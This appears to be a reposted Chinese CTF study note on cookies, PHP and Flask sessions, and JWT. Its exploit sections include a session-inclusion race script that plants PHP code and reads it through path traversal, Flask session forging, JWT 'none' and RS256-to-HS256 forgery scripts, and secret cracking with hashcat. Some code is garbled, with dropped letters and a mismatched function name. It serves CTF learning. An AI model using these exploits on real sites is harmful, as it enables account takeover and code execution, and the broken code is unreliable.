CTF中的COOKIE&SESSION&TOKEN

ivi · 发表于 2023-8-18 12:08:54

[url=]衡阳信安[/url] 2023-08-17 00:00 发表于湖南

前言

我是这么理解的，由于http是无状态的，需要cookie存储一些信息，相当与你去银行办业务说出你的姓名、电话、身份证号等，在web交互中这个过程相当于浏览器向服务器提交cookie，但是我能不能在银行办业务的时候说别人的姓名、电话呢？如果银行没有相应手段证伪的话大概是可以的，也就是你可以伪装成别人，给别人办卡，或者取走别人的钱。所以就需要银行也储存一些信息来确认，类似让你做人脸识别，最后身份证、户口本相当于token，他们是有加密和难以伪造的（除非你偷走别人的户口本，并且通过了银行的再验证）

COOKIE

OAuth

session

参考https://xz.aliyun.com/t/6640

工作流程

工作流程

（1）首先使用==session_start()==函数进行初始化，启动会话

- 读取名为PHPSESSID（默认）的cookie值，假使为abc123

- 若读取到PHPSESSID这个COOKIE，创建$_SESSION变量，并从相应的目录中（可以再php.ini中设置）读取SESS_abc123（默认是这

种命名方式）文件,将字符装在入$_SESSION变量中;

- 如果发现请求的Cookie、Get、Post中不存在session id，PHP就会自动调用php_session_create_id函数创建一个新的会话，并且在

http response中通过set-cookie头部发送给客户端保存，（有时候浏览器用户设置会禁止 cookie，当在客户端cookie被禁用的情况下，php也可以自动将session id添加到url参数中以及form的hidden字段中，但这需要将php.ini中的session.use_trans_sid设为开启，也可以在运行时调用ini_set来设置这个配置项。）

也会创建$_SESSION变量，同时创建一个sess_abc321(名称为随机值)的session文件,同时将abc321作为PHPSESSID的cookie值返回给浏览器

端。

（2）当执行PHP脚本时，通过使用$_SESSION变量注册session文件。
（3）当PHP脚本执行结束时，未被销毁的session变量会被自动保存在本地一定路径下的session库中，这个路径可以通过php.ini文件中的==session.save_path==指定，下次浏览网页时可以加载使用。

抓包

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

可以看到新生成的sess存储文件

第二次再发包cookie里就带PHPSESSID了

可以看到session是==序列化存储==的，之前做过session反序列化的题

trick

在PHP配置中的默认情况下，Session是用==Session ID==来确定当前对话所对应的服务器Session，而Session ID是通过Cookie来传递的，禁用Cookie相当于失去了Session ID，也就得不到Session了

利用1：session反序列化

选择不同的处理器，处理方式也不一样，如果序列化和储存session与反序列化的方式不同，就有可能导致漏洞的产生。

https://github.com/80vul/phpcodz/blob/master/research/pch-013.md

我之前一直不理解session是怎么影响到当前php脚本的，现在懂了一些，==当 PHP 停止的时候，它会自动读取内存中$_SESSION 中的内容，并将其进行序列化，然后发送给会话保存管理器来进行保存（持久化存储在硬盘上）。==也就是session被序列化的时候，那我猜session进行反序列化的时候就是用户传过来sessid并且确实存在这个会话id的时候，这个时候硬盘中的sess_文件内容会被反序列化取出到内存中，那么这里也能看出来==用户越多的时候对服务器的内存压力是越大的==。

那么这个漏洞的利用过程大概是：

一、题目ini配置满足session内容的自定义上传，上传过程中存储在$_SESSION,结束后根据==php.ini中规定的处理器==进行持久化存储（因为当前并没有执行这个题目的php脚本）

二、存在session序列化处理器不同的漏洞，发起会话读取这个题目的页面时，session会被从sess_文件中读取并根据==当前php脚本中ini_set规定的处理器==进行反序列化，这个时候正在被反序列化的字符串（我们构造的payload）刚好与当前执行的php脚本契合，那这个session存储的序列化内容就被反序列化执行了

默认情况下，PHP 使用内置的文件会话保存管理器来完成session的保存，也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器。对于文件会话保存管理器，会将会话数据保存到配置项session.save_path所指定的位置。

PHP session在php.ini中有很多配置项，PHPsession的存储机制是由session.serialize_handler来定义引擎的，默认是以文件的方式存储，且存储的文件是由sess_sessionid来决定文件名的，当然这个文件名也不是不变的

session.serialize_handler定义的引擎有三种，如下表所示：

处理器名称

存储格式

php

键名 + 竖线 + 经过serialize()函数序列化处理的值

php_binary

键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值

php_serialize

经过serialize()函数序列化处理的数组

php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

C|s:8:"flag.php";

php_binary

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

#为键名长度对应的 ASCII 的值，sessionsessionsessionsessionsessions为键名，s:7:"xianzhi";为传入 GET 参数经过序列化后的值

php_serialize

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

a:1表示$_SESSION数组中有 1 个元素，花括号里面的内容即为传入 GET 参数经过序列化后的值

上传进度支持（session.upload_progress）

当在php.ini中设置session.upload_progress.enabled= On的时候，PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时，以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时，上传进度将在$ _SESSION超全局中可用。

poc

<!DOCTYPE html>
<html>
<head>
<title>A_dmin</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="

OST" enctype="multipart/form-data">
<input type="hidden" name="

HP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

抓包修改，在序列化的字符串前加 |，提交即可。

利用2：session伪造

这一块一直不咋熟悉，貌似在flask中session伪造比较多，学一下

并不是所有语言都有像php那样的的session存储机制，也不是任何情况下我们都可以向服务器写入文件。所以，很多Web框架都会另辟蹊径，比如Django默认将session存储在数据库中，而对于flask这里并不包含数据库操作的框架，就只能将session存储在cookie中。

因为cookie实际上是存储在客户端（浏览器）中的，所以称之为“客户端session”。

flask 的 session 机制：flask源码解析：session

客户端 session问题：客户端session 导致的安全问题

flask仅对 session 进行了签名，按照flask对session的处理，如果我们拿不到secret_key也就无法伪造session

此外众所周知的是，签名的作用是防篡改，而无法防止被读取。而flask并没有提供加密操作，所以其session的全部内容都是可以在客户端读取的，这就可能造成一些安全问题，比如敏感信息泄露。

flask解密脚本

通过这个脚本解密处 session ，我们就可以大概知道 session 中存储着哪些基本信息。然后我们可以通过其他漏洞获取用于签名认证的 secret_key ，进而伪造任意用户身份，扩大攻击效果。

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.',1)
payload, timestamp = payload.rsplit(b'.',1)

decompress = False
if payload.startswith(b'.'):
      payload = payload[1:]
      decompress = True

try:
      payload = base64_decode(payload)
except Exception as e:
      raise Exception('Could not base64 decode the payload because of '
                     'an exception')

if decompress:
      try:
         payload = zlib.decompress(payload)
      except Exception as e:
         raise Exception('Could not zlib decompress the payload before '
                        'decoding the payload')

return session_json_serializer.loads(payload)

if__name__ =='__main__':
print(decryption("eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.XyZ3Vw.OcD3-l1yOcq8vlg8g4Ww3FxrhVs".encode()))

flask加密脚本

https://github.com/noraj/flask-session-cookie-manager

注意，编码一定需要加密的key的，需要去找这个key，可能在环境变量里面

/proc/self
// 其路径指向当前进程

/environ
// 记录当前进程的环境变量信息

当路径为../../proc/self/environ时，得到环境变量回显（这里存在任意文件读取）

编码

python3 flask_session_cookie_manager3.py encode -s"woshicaiji" -t "{'username': b'admin'}"

usage: flask_session_cookie_manager{2,3}.py encode [-h]-s <string> -t <string></string></string>

optional arguments:
-h, --help show this help message and exit
-s <string>, --secret-key <string>
Secret key
-t <string>, --cookie-structure <string>
Session cookiestructure</string></string></string></string>

解码

python3 ./flask_session_cookie_manager3.py decode -c".eJw9kE2LwjAURf_K8NYuajqzEVwIsaXCS1FiQ7IRdWrz0ThDW6mN-N8nOODqLe7hXO57wOHS1b2GxdDd6hkczDcsHvBxggWg3afIi7u05wnJNjCSOZVnjuWVRt46DNpJIe-KKqf4NjKSSK4Ns-cRvYrcRjO6JyVtDYZiYl4GJJmJ1BxtcS8FkngnyXFUNjMql1_SrlImMJT0RaeRmLO8-FTcTcpiUvKdVnRN0FemzCPDWx37lvCcwbnvLofhx9XX9wTpN7YUqmWxUorKKrsakTdBBu2V2BhGK8dEnCiimq5TZldENsuXzvhjU79Nu-SX7sf_5Hr0MYCh7geYwa2vu9fbYJ7A8w-kYW1v.Xj-tXQ.GmXzuYTP0IobbVCyI-9xVsc5C5A"-s ckj123

usage: flask_session_cookie_manager{2,3}.py decode [-h][-s <string>] -c <string></string></string>

optional arguments:
-h, --help show this help message and exit
-s <string>, --secret-key <string>
Secret key
-c <string>, --cookie-value <string>
Session cookievalue</string></string></string></string>

2018HCTFWEB admin(session伪造、unicode漏洞、条件竞争)

https://www.cnblogs.com/xhds/p/12287085.html

利用3：session包含

php.ini有关session的重要配置项

session.upload_progress.enabled = on 表示upload_progress功能开始，也意味着当浏览器向服务器上传一个文件时，php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中；
session.upload_progress.prefix = "uploadprogress" //将表示为session中的键名
session.upload_progress.name = "HP_SESSION_UPLOAD_PROGRESS" //当它出现在表单中，php将会报告上传进度，而且==它的值可控==！！！(shell内容)
session.use_strict_mode = off //这个选项默认值为off，表示我们对==Cookie中sessionid可控==！！！(shell名字)
session.save_path = /var/lib/php/sessions //session的存贮位置，默认还有一个 /tmp/目录

平常，当我们要创建session时往往会在php代码里写session_start()，但我们不写的话，也是可以创建的。

比如，在php.ini中设置session.auto_start=On 的情况下，php在接收请求的时候会自动初始化session，不需要执行session_start()。但默认状态下，这个选项是默认关闭的。

不过幸好，session还有一个默认选项，session.use_strict_mode默认值为0。

这样用户是可以自己定义session ID的。比如，我们在cookie里设置PHPSESSID=MUNG29，就会在服务器/tmp目录下或者/var/lib/php/sessions/目录下创建一个文件：sess_MUNG29。即便没有设置自动初始化session，php也会产生session，并生成一个键值，这个键值由ini.get("session.upload_progress.prefix")+我们构造的session.upload_progress.name值组成，最后被一起写入sess_文件里。

如果没做过设置，session文件默认是在/var/lib/php/sessions/目录下，文件名是sess_加上你的sessionID字段。（没有权限）
而一般情况下，phpmyadmin的session文件会设置在/tmp目录下，需要在php.ini里把session.auto_start置为1，把session.save_path目录设置为/tmp。

默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

POC

<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/index.php" method="

OST" enctype="multipart/form-data">
<input type="hidden" name="

HP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat flag.php');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

import io
import sys
import requests
import threading
sessid ='mung29'

def WRITE(session):
while True:
      f = io.BytesIO(b'a' * 1024 * 50)
      session.post(
         'http://localhost/index.php',
         data={"

HP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"},
         files={"file"'1.txt', f)},
         cookies={'PHPSESSID':sessid}
      )

def READ(session):
while True:
      resp = session.get(f'http://localhost/index.php/?file=../../../../../../../../tmp/sess_{sessid}')

      if 'flag{' in resp.text:
         print(resp.text)
         sys.exit(0)
      else:
         print('Thinking[+++++++]')

with requests.session()assession:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()

READ(session)

Token

jwt

http://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

JSON WebToken由三部分组成，是目前最流行的跨域身份验证解决方案,它们之间用圆点(.)连接。这三部分分别是：

Header

{
"alg": "HS256",
"typ": "JWT"
}

Payload
Signature

HMACSHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload), secret)

Base64 有三个字符+、/和=，在 URL 里面有特殊含义，所以要被替换掉：=被省略、+替换成-，/替换成_ 。这就是 Base64URL 算法。

JWT与Session的异同

相同点是，它们都是存储用户信息；然而，Session是在服务器端的，而JWT是在客户端的。

Session方式存储用户信息的最大问题在于要==占用大量服务器内存==，增加服务器的开销,而JWT方式将用户状态分散到了客户端中，可以明显减轻服务端的内存压力。

Session的状态是存储在服务器端，客户端只有sessionid的cookie；但是如果是服务器集群，或者是跨域的服务导向架构，就要求session 数据共享，每台服务器都能够读取 session，一种解决方案是 session 数据持久化，写入数据库或别的持久层，缺点是工程量比较大，另外，持久层也有挂掉的风险，另一种方案是==服务器索性不保存 session 数据了，所有数据都保存在客户端==，每次请求都发回服务器。JWT 就是这种方案的一个代表。

JWT缺陷

JWT 的最大缺点是，由于服务器不保存 session 状态，因此无法在使用过程中废止某个 token，或者更改 token 的权限。也就是说，一旦 JWT 签发了，在到期之前就会始终有效，除非服务器部署额外的逻辑。（也就是说一个用户在手机A中登录了，然后又在手机B中登录，在过期之前手机A和B都可以登录，无法做到B登录后让A过期，如果要做到这点，就必须让服务器维护一个清单（记录该账号是否已经签发token），这样又回到session的老路了）

JWT 本身包含了认证信息，一旦泄露，任何人都可以获得该令牌的所有权限。为了减少盗用，JWT 的有效期应该设置得比较短。对于一些比较重要的权限，使用时应该再次对用户进行认证。

为了减少盗用，JWT 不应该使用 HTTP 协议明码传输，要使用 HTTPS 协议传输。

利用1：修改加密算法

改为none

用none算法生成的JWT==只有两部分==了，根本连签名都不存在。

JWT签名算法可确保JWT在传输过程中不会被恶意用户所篡改，但头部的alg字段可以改为none，若服务器支持签名算法为none，服务器会在JWT中删除相应的签名数据（这时，JWT就会只含有头部 + ‘.’ + 有效载荷 + ‘.’），然后将其提交给服务器。

设定该功能的最初目的是为了方便调试。但是，若不在生产环境中关闭该功能，攻击者可以通过将 alg 字段设置为 “None” 来伪造他们想要的任何 token，接着便可以使用伪造的 token 冒充任意用户登陆网站。

解密，我可以通过传入不存在的id，让secret为undefined,导致algorithm为none,然后就可以通过伪造jwt来成为admin

poc

#pip3 install pyjwt
import jwt

token =jwt.encode({"secretid":"","username":"admin","password":"123456","iat":1587367857},algorithm="none",key="").decode(encoding='utf-8')

print(token)

import jwt

# payload
token_dict ={
  "iss": "admin"
}

headers ={
  "alg": "none",
  "typ": "JWT"
}
jwt_token =jwt.encode(token_dict,       # payload, 有效载体
                     "",                # 进行加密签名的密钥
                     algorithm="none",    # 指明签名算法方式, 默认也是HS256
                     headers=headers
                     # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                     )

print(jwt_token)

修改RS256算法为HS256：（非对称密码算法=>对称密码算法）

HS256算法使用密钥为所有消息进行签名和验证，而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

如果将算法从RS256改为HS256，则后端代码将使用公钥作为密钥，然后使用HS256算法验证签名。

如果它的公钥泄露的话，我们可以尝试将头部中的算法修改为HS256，然后使用RSA公钥对数据进行签名。这样的话，后端代码使用RSA公钥+HS256算法进行签名验证。

node脚本

写这个js文件，然后执行 node "xxx.js"

constjwt =require('jsonwebtoken');
var fs =require('fs');
var privateKey = fs.readFileSync('public.key');
var token =jwt.sign({ user:'admin' }, privateKey,{ algorithm: 'HS256' });
console.log(token)

利用2：爆破密钥

如果HS256密钥的强度较弱的话，攻击者可以直接通过蛮力攻击方式来破解密钥，例如将密钥字符串用作PyJWT库示例代码中的密钥的时候，情况就是如此。

字典https://raw.githubusercontent.co ... ist-top-1000000.txt

c-jwt-cracker

https://github.com/brendan-rius/c-jwt-cracker

这里用docker用法

cd到安装目录执行docker build . -t jwtcrack

利用Docker来构建一个镜像并为该镜像命名为jwtcrack

爆破

docker run -it --rm jwtcrackeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMjgzODk1MiwiZXhwIjoxNjMyODQ2MTUyLCJuYmYiOjE2MzI4Mzg5NTIsInN1YiI6InVzZXIiLCJqdGkiOiI5M2QwODg0MTU5MzQ5MWJiMDc1NzZkNDI5NzFkODIyZSJ9.VlGkcoMcfvtRYv2kMczlfD8ns1hpN2pArD5PdrVgO6I

file:///C:/Users/zz/AppData/Local/Temp/msohtmlclip1/01/clip_image022.png
file:///C:/Users/zz/AppData/Local/Temp/msohtmlclip1/01/clip_image024.png
- docker run: 这是Docker命令，用于运行一个容器。
- -it: 这是两个参数的组合，-i表示交互式运行容器，-t表示为容器分配一个伪终端（pseudo-TTY）。
- --rm: 这是一个参数，表示容器退出后自动删除容器。这样可以在容器停止后清理资源，避免占用空间。
- jwtcrack: 这是之前构建的镜像的名称，用于指定要运行的容器的基础镜像。
- docker build: 这是Docker命令，用于构建一个镜像。
- .: 这表示当前目录，它告诉Docker在当前目录下查找Dockerfile文件，Dockerfile文件包含了构建镜像的指令。
- -t jwtcrack: 这是一个标签参数，用于为构建的镜像指定一个名称，这里我们将其命名为jwtcrack。
hashcat

参数

-m 哈希类别

-n 线程数

-a 攻击模式，其值参考后面对参数。“-a 0”字典攻击，“-a 1” 组合攻击；“-a 3”掩码攻击。

?d代表数字，可以换成小写字母?l，大写字母?u，特殊字符?s，大小写字母+特殊字符?a，–O表示最优化破解模式，可以加该参数，也可以不加该参数。

现在纯数字或者纯字母的密码是比较少见的，根据密码专家对泄漏密码的分析，90%的个人密码是字母和数字的组合，可以是自定义字符了来进行暴力破解，Hashcat支持4个自定义字符集，分别是 -1 -2 -3 -4。定义时只需要这样-2?l?d ，然后就可以在后面指定?2，?2表示小写字母和数字。这时候要破解一个8位混合的小写字母加数字：

Hashcat.exe -a 3 --force -2 ?l?d hassh值或者hash文件 ?2?2?2?2?2?2?2?2

掩码

hashcat -a 3 -m 16500eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.KQmLQ3oyd6NJkfAttkTl1PFR5fijDe3u-NUJJDgOPrA-1 1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM ?1?1?1?1?1

字典

hashcat -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2NzY1Njk0MiwiZXhwIjoxNjY3NjY0MTQyLCJuYmYiOjE2Njc2NTY5NDIsInN1YiI6InVzZXIiLCJqdGkiOiJkODMwMGU0MWJkZWI5Y2M1MjIzNzgxMDdkMDE2MzlhOCJ9.lYnVCfleYbtGCZMTtBlRHPn2b9AKLLa2qSe7ksQb53o-a 0 jwt-dicc.txt

来源：【https://xz.aliyun.com/】，感谢：【m*隅】

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